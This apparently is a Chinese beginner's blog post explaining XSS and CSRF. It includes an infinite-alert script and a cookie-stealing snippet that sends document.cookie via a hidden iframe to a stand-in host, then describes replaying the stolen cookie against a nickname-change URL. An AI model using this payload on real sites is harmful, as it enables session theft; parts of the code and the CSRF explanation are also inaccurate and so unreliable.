美文网首页
XSS 和 CSRF

XSS 和 CSRF

作者: 人话博客 | 来源:发表于2019-04-17 23:31 被阅读0次

最近发现自己对网络安全这一块比较空白.

仅仅只是知道有一个 XSS (Cross-site script).也知道大体是怎么回事,但是从来没有写过代码测试和练习.

今天有空,就专门研究一下 XSS 和 CSRF


XSS

XSS 是 Cross-site script 缩写.

中文释义: 跨站脚本攻击.

基维百科:

XSS: 跨站脚本(Cross-site script)是一中网站应用程序的安全漏洞,是代码注入的一种.它允许恶意用户将代码注入到网站上,让其它正在观察网页时的用户受到影响.

理解起来也简单,无非就是在某个网站的某个请求里,提交一段 Javascript 代码而已.

现在很多网站后天都作了过滤,比如 <,script 等危险关键字.
基本会在出现这样的情况了.

但是如果后台没有做这种危险的字符过率,一段很简单的XSS跨站脚本代码,<甚至都不用不跨站>,就可以支配所有访问这个页面的用户.

<script>while(true) { alert('被弹窗的恐惧支配吧??你关不掉der~') }</script>

XSS 既然翻译成 跨站脚本攻击..

上述那个代码只是循环弹窗而已,并未涉及到跨站.

所以不能算是完整的XSS攻击.顶多叫脚本攻击

所以,必须有跨站的操作,才能称为完整的XSS.

现在的网站中,或多或少的会把一些和用户相关的数据通过cookie传递到前台.


// 通过XSS把这么一段代码设置到网站页面中.
(function(w,d){
    // 获取当前页面的cookie.
    const cookie = d.cookie
    const fromURL = w.host 
    const stealURL = `http://www.a.com/steal?from=${fromURL}&cookie=${cookie}`
    
    const hiddenIframe = document.createElement('iframe')
    hiddenIframe.width = '0px'
    hiddenIframe.height = '0px'
    hiddenIframe.src = stealURL
    
    d.appendChild(hiddenIframe)
})(window,document)

通过这么一端脚本代码,可以将当前页面的cookie等信息发送到我自己的后台.

那么在我自己的后台就可以存储用户的一些比较私密的数据了.

这里有:

  • 脚本
  • 跨站

所以,可以称之为一个完整的XSS(cross-site script) 跨站脚本攻击.

但是目前基本所有的网站都做了危险字符过滤或者替换.这种攻击基本不会产生什么威胁了.


CSRF

CSRF 是 cross-site request forgery 的缩写.

中文释义: 跨站请求伪造.

基维百科:

跨站请求伪造(cross-site rquest forgery),也被称之为 one-click attack 或者 session riding,通常缩写为 CSRF 或者 XSRF , 是一种挟制用户在当前已经登录的web页面上执行一些非本意的操作.

光看这单解释,好像能理解的半成.

  • 用户要登录.
  • 利用用户登陆的数据或者状态做一些只有在当前用户登陆情况下的事情.比如删帖.修改昵称...

上一节 XSS 攻击,如果我们能拿到用户的cookie等信息的话.

只要我们在抓取此网站的删帖链接,修改昵称链接.

查询需要传递的给后台的数据,如果是包含这个cookie的话.

那我们就可以在我们后台部署一套循环遍历的请求了.

比如修改昵称的链接和操作是: http://www.attacked.com/action/changeNickName?name=xxxxx

我们就可以在自己后台,请求里设置cookie.并请求这个链接,就可以修改用户的昵称了.

同理一些其他的操作.(比如删帖等)


总结:

  • XSS 是跨站脚本攻击. (Cross-site script) ,只有脚本只能叫脚本攻击,必须有跨站的行为才能称之跨站脚本攻击.
  • CSRF 跨站请求伪造(Cross-site request forgery),前提是拿到用户的登陆信息.之后可以伪造当前用户做一些非用户本意的操作.

相关文章

  • laravel的CSRF防护机制和延伸

    在说laravel框架里对CSRF的攻击防护之前先对XSS和CSRF攻击做一下简单的介绍。 XSS和CSRF攻击 ...

  • web安全-加餐篇

    一. 问:xss 和 csrf 到底有的不同怎么理解 你可以能会问,xss, 和 csrf 都是 1. 用户点...

  • 浅说 XSS 和 CSRF

    在 Web 安全领域中,XSS 和 CSRF 是最常见的攻击方式。本文将会简单介绍 XSS 和 CSRF 的攻防问...

  • 贰--某服

    1.xss和csrf的本质区别 xss和csrf是两种不同维度的攻击形式。xss跨站脚本,主要是一种攻击手段,恶意...

  • web安全1

    xss 类型 Dom Based Xss、反射型Xss和存储型Xss 攻击 获取cookie基本是配合csrf一起...

  • XSS和CSRF

    CSRF CSRF(Cross-Site-Request-Forgery):跨站请求伪造,简单点说就是 攻击者伪造...

  • XSS 和 CSRF

    XSS XSS,即 Cross Site Script,中译是跨站脚本攻击;其原本缩写是CSS,但为了和层叠样式(...

  • CSRF 和 XSS

    1.XSS 是什么?如何防范 网页设置了提交信息的模式为拼接HTML,若遭到恶意用户提交一个script脚本,就会...

  • xss和csrf

    XSS是什么?它的全名是:Cross-site scripting,为了和CSS层叠样式表区分所以取名XSS。是一...

  • XSS和CSRF

    xss(cross site script),跨站脚本攻击,简称本应该是css,但是为了避免和css层叠样式表冲突...

网友评论

      本文标题:XSS 和 CSRF

      本文链接:https://www.haomeiwen.com/subject/dxrawqtx.html